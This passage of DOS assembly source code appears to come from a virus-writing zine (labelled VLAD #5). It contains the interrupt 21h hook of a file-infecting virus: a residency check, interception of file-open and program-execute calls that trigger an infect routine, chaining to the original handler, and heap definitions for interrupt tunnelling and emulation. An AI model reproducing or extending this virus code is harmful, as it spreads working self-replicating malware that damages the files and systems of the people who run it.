;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
i21:
cmp ah,30
jne not_install
cmp cx,40
jne not_install
push cx si di es cs
pop es
lea si,[si+(cmp_shit - next)]
mov di,(cmp_shit - const_start)
cld
repe cmpsb
pop es di si
jcxz is_install
pop cx
not_install:
cmp ah,3dh
jne not_open
call infect
jmp not_execute
not_open:
not ax
cmp ax,not 4b00
pushf
not ax
popf
jne not_execute
call infect
not_execute:
db 0ea
old21ip dw ?
old21cs dw ?
first_bytes:
db 0cdh,20,95
chain:
pushf
db 9a
o21i dw ?
o21c dw ?
ret
end_vir:
;===========================================================================
; put this label anywhere you want
heap:
ideal
sim_flags = offset heap
firstMCB = sim_flags + 1
tunnel_ip = firstMCB + 2
simulate_buffer = tunnel_ip + 4
temp_es = simulate_buffer + 16
return_address = temp_es + 2
temp_sp = return_address + 2
tunnel_ip_ofs = temp_sp + 2
int0_5_ip = tunnel_ip_ofs + 2
int0_5_sip = int0_5_ip + 2
int0_5_scs = int0_5_sip + 2
_ip = int0_5_scs + 2
_cs = _ip + 2
_ds = _cs + 2
stack_bottom = _ds + 2
_ax = stack_bottom
_bx = _ax + 2
_cx = _bx + 2
_dx = _cx + 2
_si = _dx + 2
_di = _si + 2
_bp = _di + 2
_es = _bp + 2
flags = _es + 2
stack_top = flags + 2
_ss = stack_top
_sp = _ss + 2
test_exit = _sp + 2
end start
- VLAD #5 INDEX -